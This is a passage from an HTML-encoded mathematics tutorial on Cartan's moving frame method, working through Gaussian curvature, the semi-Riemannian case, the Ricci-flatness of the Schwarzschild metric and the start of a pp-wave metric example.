      terms of both the basis one-forms and the coordinate forms,
      \[
        \cnf{1}{2} = \frac{∂_v E}{2 E \sqrt{G}} \, θ^1 - \frac{∂_u G}{2 G \sqrt{E}} \, θ^2 = \frac{∂_v E}{2 \sqrt{EG}} \, du - \frac{∂_u G}{2 \sqrt{EG}} \, dv\text{.}
      \]
    (By a very similar method, one can derive the formula stated
    previously for the \(\cnf{i}{j}\) of a diagonal metric.)&lt;/p&gt;
  &lt;/li&gt;

  &lt;li&gt;
    &lt;h3&gt;Curvature forms&lt;/h3&gt;

    &lt;p&gt;Since we only have the single connection form \(\cnf{1}{2}\), there are
      no non-zero \(\cnf{i}{k} ∧ \cnf{k}{j}\) terms, since \(i\), \(j\), and \(k\) would all have to be distinct. Using the expression for
      \(\cnf{1}{2}\) in terms of the coordinate forms \(du\) and \(dv\),
      and that \(d(du) = d(dv) = 0\), the single curvature form is:
      \[
      \begin{aligned}
        \crf{1}{2} = d\cnf{1}{2} &amp;= \pd{}{v} \left( \frac{∂_v E}{2 \sqrt{EG}} \right) dv ∧ du - \pd{}{u} \left( \frac{∂_u G}{2 \sqrt{EG}} \right) du ∧ dv \\
                                 &amp;\begin{alignedat}{2}
                                   &amp;= \, &amp;           -\frac{1}{2} \left( \pd{}{u} \left( \frac{∂_u G}{\sqrt{EG}} \right) + \pd{}{v} \left( \frac{∂_v E}{\sqrt{EG}} \right) \right) &amp; \, du ∧ dv \\
                                   &amp;= \, &amp; -\frac{1}{2 \sqrt{EG}} \left( \pd{}{u} \left( \frac{∂_u G}{\sqrt{EG}} \right) + \pd{}{v} \left( \frac{∂_v E}{\sqrt{EG}} \right) \right) &amp; \, θ^1 ∧ θ^2\text{.}
                                  \end{alignedat}
      \end{aligned}
      \]&lt;/p&gt;
  &lt;/li&gt;

  &lt;li&gt;
    &lt;h3&gt;Gaussian curvature&lt;/h3&gt;
    &lt;p&gt;Therefore, we get the classical result that
      the Gaussian curvature \(K\), which is equal to the single independent
      component of the Riemann curvature tensor (up to sign), is
      \[
      \begin{aligned}
        K &amp;= \Riem{1}{212} = \crf{1}{2}(E_1, E_2) \\
          &amp;= -\frac{1}{2 \sqrt{EG}} \left( \pd{}{u} \left( \frac{∂_u G}{\sqrt{EG}} \right) + \pd{}{v} \left( \frac{∂_v E}{\sqrt{EG}} \right) \right) \, (θ^1 ∧ θ^2)(E_1, E_2) \\
          &amp;= -\frac{1}{2 \sqrt{EG}} \left( \pd{}{u} \left( \frac{∂_u G}{\sqrt{EG}} \right) + \pd{}{v} \left( \frac{∂_v E}{\sqrt{EG}} \right) \right)\text{.}
      \end{aligned}
      \]
    &lt;/p&gt;
  &lt;/li&gt;
&lt;/section&gt;

&lt;section&gt;
  &lt;header&gt;
    &lt;h2&gt;The semi-Riemannian case&lt;/h2&gt;
  &lt;/header&gt;

  &lt;p&gt;As we alluded to above, in the semi-Riemannian case, the
    coordinate methods remain unchanged, but the moving frame method
    gets more complicated. The equation that the one-forms must satisfy becomes
    \[
      g = ∑_i ε_i \, θ^i ⊗ θ^i\text{,}
    \]
    where each \(ε_i\) is \(±1\) throughout the whole chart domain.&lt;sup&gt;&lt;a href="#fn4" id="r4"&gt;[4]&lt;/a&gt;&lt;/sup&gt;
    For example, in the Riemannian case, we let all \(ε_i = 1\), and
    in the Lorentzian case we let \(ε_0 = -1\) and all other \(ε_i = +1\). (The entire list \((ε_i)\) is called the &lt;a href="https://en.wikipedia.org/wiki/Metric_signature"&gt;&lt;em&gt;signature&lt;/em&gt;&lt;/a&gt; of the metric.)&lt;/p&gt;

  &lt;p&gt;If the metric is diagonal, then each \(g_{ii}\)
    must be non-zero throughout the whole chart domain, so
    \(ε_i = \sgn(g_{ii})\) and (suspending the summation convention)
    \[
      θ^i = ε_i \sqrt{\lvert g_{ii} \rvert} \, dx^i\text{.}
    \]&lt;/p&gt;

  &lt;p&gt;The equivalent definition of the \(θ^i\) becomes
    \[
      g^*(θ^i, θ^j) = ε_i δ^i_j\text{,}
    \]
    where each \(ε_i\) is \(±1\) throughout the whole chart
    domain. Furthermore, the Gram-Schmidt process becomes harder to
    apply; you&amp;rsquo;ll need to find a &lt;em&gt;non-degenerate basis&lt;/em&gt; first; see &lt;a href="https://math.stackexchange.com/q/2622562/343314"&gt;this Math StackExchange question&lt;/a&gt; for details.&lt;/p&gt;

  &lt;div class="p"&gt;Both Cartan structure equations still hold, but the connection
    and curvature forms are not skew symmetric anymore; instead,
    they&amp;rsquo;re &lt;em&gt;semi-skew symmetric&lt;/em&gt;. Suspending the summation convention,
    &lt;div class="important-equation"&gt;
      \[
      \begin{aligned}
        \cnf{i}{j} &amp;= -ε_i ε_j \cnf{j}{i} \\
        \crf{i}{j} &amp;= -ε_i ε_j \crf{j}{i}\text{.}
      \end{aligned}
      \]
    &lt;/div&gt;
    Fortunately, this still implies that (suspending the Einstein summation convention)
    \[
      \cnf{i}{i} = \crf{i}{i} = 0\text{.}
    \]
  &lt;/div&gt;

  &lt;p&gt;The formula for the connection forms of a diagonal metric becomes
  (suspending the summation convention)
  \[
    \begin{aligned}
      \cnf{i}{j}
        &amp;= \frac{∂_j g_{ii}}{2 g_{ii} \sqrt{g_{jj}}} \, θ^i - ε_i ε_j \frac{∂_i g_{jj}}{2 g_{jj} \sqrt{g_{ii}}} \, θ^j \\
        &amp;= \frac{∂_j g_{ii}}{2 \sqrt{g_{ii} g_{jj}}} \, dx^i - ε_i ε_j \frac{∂_i g_{jj}}{2 \sqrt{g_{ii} g_{jj}}} \, dx^j\text{.}
    \end{aligned}
  \]
  However, none of the deduced properties of diagonal metrics
  depending on one or two coordinates change.&lt;/p&gt;

  &lt;p&gt;Finally, note that the relations
    \[
      (θ^i ∧ θ^j)(E_k, E_l) = \begin{cases}
        +1 &amp; k = i ≠ j = l \\
        -1 &amp; l = i ≠ j = k \\
        0 &amp; \text{otherwise.}
      \end{cases}
    \]
    still hold.&lt;/p&gt;

  &lt;p&gt;As you can tell, the moving frame method forces you to keep
    careful track of signs, which you may count as a disadvantage.&lt;/p&gt;

  &lt;div class="cheatsheet"&gt;
    &lt;h2&gt;Cheatsheet: The moving frame method for semi-Riemannian metrics&lt;/h2&gt;

    &lt;div class="p"&gt;Given the components \(g_{ij}\) of a semi-Riemannian metric:
      &lt;ol&gt;
        &lt;li&gt;Find an orthonormal dual frame, i.e. basis one-forms \((θ^1, \dotsc, θ^n)\) such that
          \[
          g = ∑_i ε_i \, θ^i ⊗ θ^i\text{,}
          \]
          where each \(ε_i\) is \(±1\) throughout the whole chart
          domain.  If the metric is diagonal, then (suspending the
          summation convention) \(ε_i = \sgn(g_{ii})\), and
          \[
            θ^i = ε_i \sqrt{\lvert g_{ii} \rvert} \, dx^i\text{.}
          \]&lt;/li&gt;
        &lt;li&gt;Use the first structure equation
          \[
            dθ^i = -\cnf{i}{j} ∧ θ^j
          \]
          and the semi-skew symmetry relations (suspending the summation convention)
          \[
            \cnf{i}{j} = -ε_i ε_j \cnf{j}{i}
          \]
          to deduce the connection forms \(\cnf{i}{j}\).&lt;/li&gt;
        &lt;li&gt;Compute the curvature forms using the second structure equation
          \[
            \crf{i}{j} = d\cnf{i}{j} + \cnf{i}{k} ∧ \cnf{k}{j}
          \]
          and the semi-skew symmetry relations (suspending the summation convention)
          \[
            \crf{i}{j} = -ε_i ε_j \crf{j}{i}\text{.}
          \]
          Note that it&amp;rsquo;s easiest to compute \(d\cnf{i}{j}\) when
          \(\cnf{i}{j}\) is expressed in terms of the \(dx^i\), since
          \(d(dx^i) = 0\)&lt;/li&gt;
        &lt;li&gt;Compute the components of the Ricci curvature tensor via
          \[
            \Ric{ij} = \crf{k}{i}(E_k, E_j)
          \]
          and the relations
          \[
            (θ^i ∧ θ^j)(E_k, E_l) = \begin{cases}
              +1 &amp; k = i ≠ j = l \\
              -1 &amp; l = i ≠ j = k \\
              0 &amp; \text{otherwise.}
            \end{cases}
          \]&lt;/li&gt;
      &lt;/ol&gt;
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/section&gt;

&lt;section&gt;
&lt;header&gt;
  &lt;h2&gt;Example 2: The Schwarzschild metric&lt;/h2&gt;
&lt;/header&gt;

&lt;p&gt;Now we&amp;rsquo;re ready to tackle a more complicated metric. For
  our first semi-Riemannian example, let \(g\) be the &lt;a href="https://en.wikipedia.org/wiki/Schwarzschild_metric"&gt;&lt;em&gt;Schwarzschild metric&lt;/em&gt;&lt;/a&gt;, with line element
  \[
    ds^2 = -f(r) \, dt^2 + f(r)^{-1} \, dr^2 + r^2 \, dΩ^2\text{,}
  \]
  where
  \[
    f(r) = 1 - \frac{r_S}{r}\text{,}
  \]
  \(r_S\) is the Schwarzschild radius, which is constant, and
  \[
    dΩ^2 = dθ^2 + \sin^2 θ \, dφ^2
  \]
  is the line element of the round metric \(\mathring{g}\) on the
  two-sphere. We want to show that this metric is &lt;em&gt;Ricci-flat&lt;/em&gt;,
  i.e. has vanishing Ricci curvature.&lt;/p&gt;

  &lt;p&gt;We can skip some steps by taking advantage of the metric being
    diagonal and depending only on the two coordinates \(r\) and \(θ\),
    but in the interest of showing the general method, we&amp;rsquo;ll do
    everything the &amp;ldquo;hard way&amp;rdquo;, but we&amp;rsquo;ll
    double-check that our results using the properties of diagonal
    metrics we deduced earlier.&lt;/p&gt;

  &lt;ol&gt;
    &lt;li&gt;
      &lt;h3&gt;Orthonormal dual frame&lt;/h3&gt;
      &lt;p&gt;Since the metric is diagonal, we can read off an orthonormal dual
        frame with its corresponding signature:
        \[
          ds^2 =
          \; \underbrace{-}_{ε_0} \;
          {\underbrace{\left(f(r)^{1/2} \, dt\right)}_{ϑ^0}}^2
          \; \underbrace{+}_{ε_1} \;
          {\underbrace{\left(f(r)^{-1/2} \, dr\right)}_{ϑ^1}}^2
          \; \underbrace{+}_{ε_2} \;
          {\underbrace{(r \, dθ)}_{ϑ^2}}^2
          \; \underbrace{+}_{ε_3} \;
          {\underbrace{(r \sin θ \, dφ)}_{ϑ^3}}^2\text{.}
        \]
        i.e.
        \[
        \begin{alignedat}{2}
          ϑ^0 &amp;= \, &amp; f(r)^{1/2}  &amp; \, dt \\
          ϑ^1 &amp;= \, &amp; f(r)^{-1/2} &amp; \, dr \\
          ϑ^2 &amp;= \, &amp; r           &amp; \, dθ \\
          ϑ^3 &amp;= \, &amp; r \sin θ    &amp; \, dφ
        \end{alignedat}
        \]
        with Lorentzian signature \(({-} \; {+} \; {+} \; {+})\). We can then
        express the coordinate forms in terms of it:
        \[
        \begin{alignedat}{2}
          dt &amp;= \, &amp; f(r)^{-1/2}   &amp; \, ϑ^0 \\
          dr &amp;= \, &amp; f(r)^{1/2}    &amp; \, ϑ^1 \\
          dθ &amp;= \, &amp; r^{-1}        &amp; \, ϑ^2 \\
          dφ &amp;= \, &amp; r^{-1} \csc θ &amp; \, ϑ^3\text{.}
        \end{alignedat}
        \]
        Note that since we&amp;rsquo;re using \(θ\) as a coordinate, we use \(ϑ^λ\) to
        denote the basis one-forms. Furthermore, since this metric is Lorentzian, we
        adopt the convention that the index of the first coordinate is \(0\),
        Greek indices start from \(0\), and Latin indices start from \(1\).&lt;/p&gt;
    &lt;/li&gt;

    &lt;li&gt;
      &lt;h3&gt;Connection forms&lt;/h3&gt;
      &lt;p&gt;The derivatives of the basis one-forms are
        \[
        \begin{alignedat}{2}
          dϑ^0 &amp;= \frac{1}{2}f(r)^{-1/2} f'(r) \, dr ∧ dt &amp; &amp;= \frac{1}{2}f(r)^{-1/2} f'(r) \, ϑ^1 ∧ ϑ^0 \\
          dϑ^1 &amp;= 0                                       &amp; &amp; \\
          dϑ^2 &amp;= dr ∧ dθ                                 &amp; &amp;= \frac{f(r)^{1/2}}{r} \, ϑ^1 ∧ ϑ^2 \\
          dϑ^3 &amp;= \sin θ \, dr ∧ dφ + r \cos θ \, dθ ∧ dφ &amp; &amp;= \frac{f(r)^{1/2}}{r} \, ϑ^1 ∧ ϑ^3 + \frac{\cot θ}{r} \, ϑ^2 ∧ ϑ^3\text{.}
        \end{alignedat}
        \]
        By semi-skew symmetry, since \(ε_0 = -1\) and \(ε_i = 1\), \(\cnf{0}{i} = \cnf{i}{0}\) and
        \(\cnf{i}{j} = -\cnf{j}{i}\). Therefore, we can explicitly write out the first structure equations:
        \[
        \begin{alignedat}{4}
          dϑ^0 &amp;=                  &amp; &amp;- \cnf{0}{1} ∧ ϑ^1 &amp; &amp;- \cnf{0}{2} ∧ ϑ^2 &amp; &amp;- \cnf{0}{3} ∧ ϑ^3 \\
          dϑ^1 &amp;= -\cnf{0}{1} ∧ ϑ^0 &amp; &amp;                   &amp; &amp;- \cnf{1}{2} ∧ ϑ^2 &amp; &amp;- \cnf{1}{3} ∧ ϑ^3 \\
          dϑ^2 &amp;= -\cnf{0}{2} ∧ ϑ^0 &amp; &amp;+ \cnf{1}{2} ∧ ϑ^1 &amp; &amp;                   &amp; &amp;- \cnf{2}{3} ∧ ϑ^3 \\
          dϑ^3 &amp;= -\cnf{0}{3} ∧ ϑ^0 &amp; &amp;+ \cnf{1}{3} ∧ ϑ^1 &amp; &amp;+ \cnf{2}{3} ∧ ϑ^2\text{,} &amp; &amp;
        \end{alignedat}
        \]
        and rewriting the derivative equations to match:
        \[
        \begin{alignedat}{3}
          dϑ^0 &amp;= &amp;
            \; -\overbrace{\left(\frac{1}{2}f(r)^{-1/2} f'(r) \, ϑ^0\right)}^{\text{one term of $\cnf{0}{1}$}} &amp;∧ ϑ^1 &amp;
            &amp; \\
          dϑ^1 &amp;= 0 &amp;
            &amp; &amp;
            &amp; \\
          dϑ^2 &amp;= &amp;
            \overbrace{\left(-\frac{f(r)^{1/2}}{r} \, ϑ^2\right)}^{\text{one term of $\cnf{1}{2}$}} &amp;∧ ϑ^1 &amp;
            &amp; \\
          dϑ^3 &amp;= &amp;
            \underbrace{\left(-\frac{f(r)^{1/2}}{r} \, ϑ^3\right)}_{\text{one term of $\cnf{1}{3}$}} &amp;∧ ϑ^1 &amp;
            \; + \; \underbrace{\left( -\frac{\cot θ}{r} \, ϑ^3 \right)}_{\text{one term of $\cnf{2}{3}$}} &amp;∧ ϑ^2\text{,}
        \end{alignedat}
        \]
        we can guess that
        \[
        \begin{alignedat}{2}
          \cnf{0}{1} &amp;= \, &amp; \frac{1}{2} f(r)^{-1/2} f'(r) &amp; \, ϑ^0 \\
          \cnf{1}{2} &amp;= \, &amp;         -\frac{f(r)^{1/2}}{r} &amp; \, ϑ^2 \\
          \cnf{1}{3} &amp;= \, &amp;         -\frac{f(r)^{1/2}}{r} &amp; \, ϑ^3 \\
          \cnf{2}{3} &amp;= \, &amp;             -\frac{\cot θ}{r} &amp; \, ϑ^3\text{.}
        \end{alignedat}
        \]
        Happily, plugging these expressions back into the first
        structure equations, we find that they hold. Therefore, by
        uniqueness of the connection forms, they are &lt;em&gt;the&lt;/em&gt; connection forms.&lt;/p&gt;

      &lt;p&gt;Rather than plugging our guess into the first structure equations, a
        slicker way to see that it works would be to split up the first
        structure equation thus:
        \[
          dϑ^λ = -∑_{λ \lt μ} \cnf{λ}{μ} ∧ ϑ^μ - ∑_{λ &amp;gt; μ} \cnf{λ}{μ} ∧ ϑ^μ\text{,}
        \]
        and notice that our derivative equations have the particularly simple form
        \[
          dϑ^λ =  ∑_{λ \lt μ} (f_μ \, ϑ^λ) ∧ ϑ^μ\text{,}
        \]
        so setting
        \[
          \cnf{λ}{μ} = -f_μ \, ϑ^λ \quad \text{for $λ \lt μ$}
        \]
        takes care of the left sum above. Then by semi-skew symmetry, if \(λ \gt μ\),
        \[
          \lvert \cnf{λ}{μ} ∧ ϑ^μ \rvert = \lvert \cnf{μ}{λ} ∧ ϑ^μ \rvert = \lvert (f_λ \, ϑ^μ) ∧ ϑ^μ \rvert = 0\text{.}
        \]
        Thus all terms in the right sum above vanish as required.&lt;/p&gt;

      &lt;p&gt;Then, expressing the connection forms in terms of both the basis one-forms and
        the coordinate forms,
        \[
        \begin{alignedat}{6}
          \cnf{0}{1} &amp;= &amp;     &amp;\cnf{1}{0} &amp; &amp;= \quad &amp; \frac{1}{2} f(r)^{-1/2} f'(r) \, &amp;ϑ^0 &amp; \quad &amp;= \quad &amp; \frac{1}{2} f'(r) \, &amp;amp;dt \\
          \cnf{2}{1} &amp;= &amp; \; -&amp;\cnf{1}{2} &amp; &amp;= \quad &amp;          \frac{f(r)^{1/2}}{r} \, &amp;ϑ^2 &amp; \quad &amp;= \quad &amp;        f(r)^{1/2} \, &amp;amp;dθ \\
          \cnf{3}{1} &amp;= &amp; \; -&amp;\cnf{1}{3} &amp; &amp;= \quad &amp;          \frac{f(r)^{1/2}}{r} \, &amp;ϑ^3 &amp; \quad &amp;= \quad &amp; f(r)^{1/2} \sin θ \, &amp;amp;dφ \\
          \cnf{3}{2} &amp;= &amp; \; -&amp;\cnf{2}{3} &amp; &amp;= \quad &amp;              \frac{\cot θ}{r} \, &amp;ϑ^3 &amp; \quad &amp;= \quad &amp;            \cos θ \, &amp;amp;dφ \text{.}
        \end{alignedat}
        \]&lt;/p&gt;

      &lt;p&gt;Note that \(\cnf{2}{1}\) has only one component instead of
      two; this is because \(g_{11}\) doesn&amp;rsquo;t depend on \(θ\). The other connection forms are either zero or have only one component, as expected for a diagonal metric depending on two coordinates.&lt;/p&gt;
    &lt;/li&gt;

    &lt;li&gt;
      &lt;h3&gt;Curvature forms&lt;/h3&gt;
      &lt;p&gt;Using the expressions for \(\cnf{μ}{ν}\) in terms of the coordinate
        one-forms, since \(d(dt) = d(dr) = d(dθ) = d(dφ) = 0\), the derivatives of the connection forms are:
        \[
        \begin{aligned}
          d \cnf{0}{1}
            &amp;= \frac{1}{2} f''(r) \, dr ∧ dt \\
            &amp;= \frac{1}{2} f''(r) \, ϑ^1 ∧ ϑ^0 \\
          d \cnf{2}{1}
            &amp;= \frac{1}{2} f(r)^{-1/2} f'(r) \, dr ∧ dθ \\
            &amp;= \frac{f'(r)}{2r} \, ϑ^1 ∧ ϑ^2 \\
          d \cnf{3}{1}
            &amp;= \frac{1}{2} f(r)^{-1/2} f'(r) \sin ϑ \, dr ∧ dφ + f(r)^{1/2} \cos θ \, dθ ∧ dφ \\
            &amp;= \frac{f'(r)}{2r} \, ϑ^1 ∧ ϑ^3 + \frac{f(r)^{1/2} \cot θ}{r^2} \, ϑ^2 ∧ ϑ^3 \\
          d \cnf{3}{2}
            &amp;= -\sin θ \, dθ ∧ dφ \\
            &amp;= -\frac{1}{r^2} \, ϑ^2 ∧ ϑ^3\text{.}
        \end{aligned}
        \]
        For \(\cnf{μ}{λ} ∧ \cnf{λ}{ν}\), recalling that one need only sum over \(λ ∉ \{ μ, ν \}\),
        the non-zero terms are
        \[
        \begin{alignedat}{3}
          \cnf{0}{λ} ∧ \cnf{λ}{2} &amp;= \cnf{0}{1} ∧ \cnf{1}{2} &amp; &amp;= \; &amp; -\frac{f'(r)}{2r} \, &amp;ϑ^0 ∧ ϑ^2 \\
          \cnf{0}{λ} ∧ \cnf{λ}{3} &amp;= \cnf{0}{1} ∧ \cnf{1}{3} &amp; &amp;= \; &amp; -\frac{f'(r)}{2r} \, &amp;ϑ^0 ∧ ϑ^3 \\
          \cnf{1}{λ} ∧ \cnf{λ}{3} &amp;= \cnf{1}{2} ∧ \cnf{2}{3} &amp; &amp;= \; &amp; \frac{f(r)^{1/2} \cot θ}{r^2} \, &amp;ϑ^2 ∧ ϑ^3 \\
          \cnf{2}{λ} ∧ \cnf{λ}{3} &amp;= \cnf{2}{1} ∧ \cnf{1}{3} &amp; &amp;= \; &amp; -\frac{f(r)}{r^2} \, &amp;ϑ^2 ∧ ϑ^3\text{.}
        \end{alignedat}
        \]
        Then we can compute the curvature forms:
        \[
        \begin{aligned}
          \crf{0}{1} &amp;= d\cnf{0}{1} = \frac{1}{2} f''(r) \, ϑ^1 ∧ ϑ^0 \\
          \crf{0}{2} &amp;= \cnf{0}{λ} ∧ \cnf{λ}{2} = -\frac{f'(r)}{2r} \, ϑ^0 ∧ ϑ^2 \\
          \crf{0}{3} &amp;= \cnf{0}{λ} ∧ \cnf{λ}{3} = -\frac{f'(r)}{2r} \, ϑ^0 ∧ ϑ^3 \\
          \crf{1}{2} &amp;= d\cnf{1}{2} = -\frac{f'(r)}{2r} \, ϑ^1 ∧ ϑ^2 \\
          \crf{1}{3} &amp;= d\cnf{1}{3} + \cnf{1}{λ} ∧ \cnf{λ}{3} \\
                     &amp;= -\frac{f'(r)}{2r} \, ϑ^1 ∧ ϑ^3 - \frac{f(r)^{1/2} \cot θ}{r^2} \, ϑ^2 ∧ ϑ^3 + \frac{f(r)^{1/2} \cot θ}{r^2} \, ϑ^2 ∧ ϑ^3 \\
                     &amp;= -\frac{f'(r)}{2r} \, ϑ^1 ∧ ϑ^3 \\
          \crf{2}{3} &amp;= d\cnf{2}{3} + \cnf{2}{λ} ∧ \cnf{λ}{3} \\
                     &amp;= \frac{1}{r^2} \, ϑ^2 ∧ ϑ^3 - \frac{f(r)}{r^2} \, ϑ^2 ∧ ϑ^3 \\
                     &amp;= \frac{1 - f(r)}{r^2} \, ϑ^2 ∧ ϑ^3\text{.}
        \end{aligned}
        \]
      Again by semi-skew symmetry, since \(ε_0 = -1\) and \(ε_i = 1\), \(\crf{0}{i} = \crf{i}{0}\) and
        \(\crf{i}{j} = -\crf{j}{i}\). Therefore,
        \[
        \begin{alignedat}{3}
          \crf{0}{1} &amp;= \; &amp;  \crf{1}{0} &amp;= \; &amp;   \frac{1}{2} f''(r) \, &amp;ϑ^1 ∧ ϑ^0 \\
          \crf{0}{2} &amp;= \; &amp;  \crf{2}{0} &amp;= \; &amp;    -\frac{f'(r)}{2r} \, &amp;ϑ^0 ∧ ϑ^2 \\
          \crf{0}{3} &amp;= \; &amp;  \crf{3}{0} &amp;= \; &amp;    -\frac{f'(r)}{2r} \, &amp;ϑ^0 ∧ ϑ^3 \\
          \crf{1}{2} &amp;= \; &amp; -\crf{2}{1} &amp;= \; &amp;    -\frac{f'(r)}{2r} \, &amp;ϑ^1 ∧ ϑ^2 \\
          \crf{1}{3} &amp;= \; &amp; -\crf{3}{1} &amp;= \; &amp;    -\frac{f'(r)}{2r} \, &amp;ϑ^1 ∧ ϑ^3 \\
          \crf{2}{3} &amp;= \; &amp; -\crf{3}{2} &amp;= \; &amp; \frac{1 - f(r)}{r^2} \, &amp;ϑ^2 ∧ ϑ^3\text{.}
        \end{alignedat}
        \]
      &lt;/p&gt;
    &lt;/li&gt;

    &lt;li&gt;
      &lt;h3&gt;Ricci curvature&lt;/h3&gt;
      &lt;p&gt;We can compute the Ricci tensor \(\Ric{μν}\) as
        \[
          \Ric{μν} = \Riem{λ}{μλν} = \crf{λ}{μ}(E_λ, E_ν)\text{,}
        \]
        where the \(E_λ\) comprise the dual frame to \(ϑ^λ\). From the relations
        \[
          (θ^μ ∧ θ^ν)(E_ρ, E_σ) = \begin{cases}
           +1 &amp; σ = μ ≠ ν = ρ \\
           -1 &amp; ρ = μ ≠ ν = σ \\
            0 &amp; \text{otherwise,}
          \end{cases}
        \]
        we can examine the expressions above and conclude that \(\crf{ρ}{σ}(E_μ, E_ν)\) is possibly non-zero only when
        \(\{ μ, ν \} = \{ ρ, σ \}\). Furthermore, examining the expression for \(\Ric{μν}\),
        we can further conclude that \(\Ric{μν}\) is zero
        when \(μ ≠ ν\). Therefore, it suffices to check \(\Ric{λλ}\). (One
        of the properties we deduced for a diagonal metric depending
        on two coordinates was that \(\Ric{}\) would be diagonal
        except for possibly \(\Ric{12}\), but since \(\cnf{1}{2}\) turned
        out to not have a \(ϑ^1\) term, that immediately leads to \(\Ric{12} = 0\).)&lt;/p&gt;

      &lt;p&gt;From the expressions above,
        \[
        \begin{aligned}
          \crf{0}{1}(E_0, E_1) &amp;= -\frac{1}{2} f''(r) \\
          \crf{0}{2}(E_0, E_2) &amp;= \crf{0}{3}(E_0, E_3) = \crf{1}{2}(E_1, E_2) = \crf{1}{3}(E_1, E_3) = -\frac{f'(r)}{2r} \\
          \crf{2}{3}(E_2, E_3) &amp;= \frac{1 - f(r)}{r^2}\text{,}
        \end{aligned}
        \]
        so using the skew symmetry of two-forms
        \[
          \crf{μ}{ν}(E_ρ, E_σ) = -\crf{μ}{ν}(E_σ, E_ρ)
        \]
        and the semi-skew symmetry of \(\crf{μ}{ν}\)
        \[
        \crf{0}{i} = \crf{i}{0} \quad \text{and} \quad \crf{i}{j} = -\crf{j}{i} \text{,}
        \]
        we can compute \(\Ric{λλ}\):
        \[
        \begin{aligned}
          \Ric{00} &amp;= \crf{1}{0}(E_1, E_0) + \crf{2}{0}(E_2, E_0) + \crf{3}{0}(E_3, E_0) \\
                   &amp;= -\crf{0}{1}(E_0, E_1) - \crf{0}{2}(E_0, E_2) - \crf{0}{3}(E_0, E_3) \\
                   &amp;= \frac{1}{2} f''(r) + \frac{f'(r)}{r} \\
          \Ric{11} &amp;= \crf{0}{1}(E_0, E_1) + \crf{2}{1}(E_2, E_1) + \crf{3}{1}(E_3, E_1) \\
                   &amp;= \crf{0}{1}(E_0, E_1) + \crf{1}{2}(E_1, E_2) + \crf{1}{3}(E_1, E_3) \\
                   &amp;= -\Ric{00} \\
          \Ric{22} &amp;= \crf{0}{2}(E_0, E_2) + \crf{1}{2}(E_1, E_2) + \crf{3}{2}(E_3, E_2) \\
                   &amp;= \crf{0}{2}(E_0, E_2) + \crf{1}{2}(E_1, E_2) + \crf{2}{3}(E_2, E_3) \\
                   &amp;= -\frac{f'(r)}{r} + \frac{1 - f(r)}{r^2} \\
          \Ric{33} &amp;= \crf{0}{3}(E_0, E_3) + \crf{1}{3}(E_1, E_3) + \crf{2}{3}(E_2, E_3) \\
                   &amp;= \Ric{22}\text{.}
        \end{aligned}
        \]&lt;/p&gt;

      &lt;p&gt;Finally, a computation shows that for \(f(r) = 1 - \frac{r_S}{r}\),
        \[
          \frac{1 - f(r)}{r^2} = -\frac{1}{2} f''(r) = \frac{f'(r)}{r} \text{,}
        \]
        so all the Ricci tensor components above vanish.&lt;sup&gt;&lt;a href="#fn5" id="r5"&gt;[5]&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
    &lt;/li&gt;
  &lt;/ol&gt;
&lt;/section&gt;

&lt;section&gt;
&lt;header&gt;
  &lt;h2&gt;Example 3: The pp-wave metric&lt;/h2&gt;
&lt;/header&gt;

&lt;p&gt;For our last example, to keep things interesting, let&amp;rsquo;s consider a non-diagonal metric. Let
  \[
  g = H(u, x, y) \, du ⊗ du + du ⊗ dv + dv ⊗ du + dx ⊗ dx + dy ⊗ dy
  \]
  be the &lt;a href="https://en.wikipedia.org/wiki/Pp-wave_spacetime"&gt;&lt;em&gt;pp-wave metric&lt;/em&gt;&lt;/a&gt;,
  where \(H(u, x, y)\) is some smooth
  function. We want to derive a necessary and sufficient condition for \(g\) to be Ricci-flat.&lt;/p&gt;

  &lt;ol&gt;
    &lt;li&gt;
      &lt;h3&gt;Orthonormal dual frame&lt;/h3&gt;

      &lt;p&gt;This metric has the matrix
        \[
        G = \begin{pmatrix}
          H &amp; 1 &amp; 0 &amp; 0 \\
          1 &amp; 0 &amp; 0 &amp; 0 \\
          0 &amp; 0 &amp; 1 &amp; 0 \\
          0 &amp; 0 &amp; 0 &amp; 1
        \end{pmatrix}\text{,}
        \]
        which has inverse
        \[
        G^{-1} = \begin{pmatrix}
          0 &amp; 1 &amp; 0 &amp; 0 \\
          1 &amp; -H &amp; 0 &amp; 0 \\
          0 &amp; 0 &amp; 1 &amp; 0 \\
          0 &amp; 0 &amp; 0 &amp; 1
        \end{pmatrix}\text{,}
        \]
        so the dual metric is
        \[
          g^* = ∂_u ⊗ ∂_v + ∂_v ⊗ ∂_u - H(u, x, y) \, ∂_v ⊗ ∂_v + ∂_x ⊗ ∂_x + ∂_y ⊗ ∂_y\text{.}
        \]
        We can see that \(dx\) and \(dy\) form part of an orthonormal dual frame, but
        we have to find the other two, which involve \(du\) and \(dv\). First we
        have to figure out the signature of the metric.

        So set
        \[
        \begin{aligned}
          θ^0 &amp;= A \, du + B \, dv \\
          θ^1 &amp;= C \, du + D \, dv \\
          θ^2 &amp;= dx \\
          θ^3 &amp;= dy\text{,}
        \end{aligned}
        \]
        and solve for \(A\), \(B\), \(C\), and \(D\) using the orthonormality
        conditions
        \[
        \begin{aligned}
          g^*(θ^0, θ^0) &amp;= 2AB - B^2 H = ε_0 \\
          g^*(θ^0, θ^1) &amp;= AD + BC - BDH = 0 \\
          g^*(θ^1, θ^1) &amp;= 2CD - D^2 H = ε_1\text{.}
        \end{aligned}
        \]
        The tricky thing is to pick the \(θ^μ\) without assuming that \(H\) is
        non-zero. The simplest way to do that is to assume that none of the
        coefficients of \(H\) vanish, and, since we have four unknowns (not
        counting \(ε_0\) and \(ε_1\)) and three equations, to set \(B = 1\).
        Then the first equation gives \(A = (ε_0 + H)/2\), the second equation
        gives \(C = D(H - A)\), and plugging everything into the third equation
        gives \(D^2 = -ε_1 / ε_0\), which implies that \(ε_1 = -ε_0\) and
        \(D = ±1\). Set \(ε_0 = -1\) to make the frame have a Lorentzian signature
        \(({-} \; {+} \; {+} \; {+})\), and let \(D = ε\). Then
        \[
        \begin{aligned}
          A &amp;= \frac{H - 1}{2} \\
          B &amp;= 1 \\
          C &amp;= ε\frac{H + 1}{2} \\
          D &amp;= ε\text{.}
        \end{aligned}
        \]
        Setting \(ε = 1\) for symmetry, we finally have
        \[
        \begin{aligned}
          θ^0 &amp;= \frac{H-1}{2} \, du + dv \\
          θ^1 &amp;= \frac{H+1}{2} \, du + dv = θ^0 + du \\
          θ^2 &amp;= dx \\
          θ^3 &amp;= dy
        \end{aligned}
        \]
        and
        \[
        \begin{aligned}
          du &amp;= θ^1 - θ^0 \\
